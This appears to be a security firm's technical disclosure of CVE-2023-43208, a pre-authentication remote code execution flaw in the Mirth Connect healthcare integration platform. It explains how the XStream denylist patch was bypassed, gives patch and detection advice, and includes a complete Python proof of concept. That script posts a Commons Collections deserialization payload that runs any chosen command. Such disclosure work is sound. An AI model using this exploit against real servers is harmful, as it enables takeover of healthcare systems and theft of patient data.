In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.
CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.
Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer
class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.
XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.
Tracing the code, the XStreamSerializer
is invoked through the XmlMessageBodyReader
class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.
Mirth servlets in general extend the MirthServlet
base class, which handles checking authentication in the initLogin
method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader
.
However, for a few servlets, authentication is not checked in the MirthServlet
base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet
, SystemServlet
, and UserServlet
all extend the MirthServlet
base class but set the initLogin
property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader
class prior to the authentication check in the servlet.
To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users
endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.
And it worked, against a version of Mirth running Java 11.0.16.
We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.
Debugging the failure of the exploit payload against different Mirth versions, we found two problems:
Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler
class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:
And the payload fails with Java 17+ because private fields in the java.beans.EventHandler
class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens
flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.
To bypass both limitations, we decided to look for an alternative InvocationHandler
class similar to java.beans.EventHandler
but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.
We found such a class within the apache.commons.lang3
library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler
:
We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.
We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder
class to execute a system command.
The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:
"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."
As it turns out, InvokerTransformer
is the route we went as an alternative for the ProcessBuilder
class. We came up with a new payload shown below:
And this worked against Mirth Connect 4.4 running Java 17:
Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:
import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PAYLOAD = """<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string><<COMMAND>></string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
def _escape_xml(str_xml):
str_xml = str_xml.replace('&', '&')
str_xml = str_xml.replace('<', '<')
str_xml = str_xml.replace('>', '>')
str_xml = str_xml.replace('"', '"')
str_xml = str_xml.replace("'", ''')
return str_xml
def main():
parser = ArgumentParser()
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='OS command to run')
args = parser.parse_args()
command = _escape_xml(args.command)
url = args.url.rstrip('/')
payload = PAYLOAD.replace('<<COMMAND>>', command)
print(f'Sending payload:\n{payload}')
r = requests.post(f'{url}/api/users',
headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
data=payload,
verify=False,
timeout=15)
print(f'Payload sent. Received status code: {r.status_code}')
if __name__ == '__main__':
main()
Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.
To check if your Mirth Connect instance is vulnerable:
% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0
Any server reporting a version less than 4.4.1 is highly likely to be exploitable.
If you’re writing detection rules for this exploit, the following points may be of interest to you:
POST /users
that accept and unmarshal XML payloads.CommonsCollection6
gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.
Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user: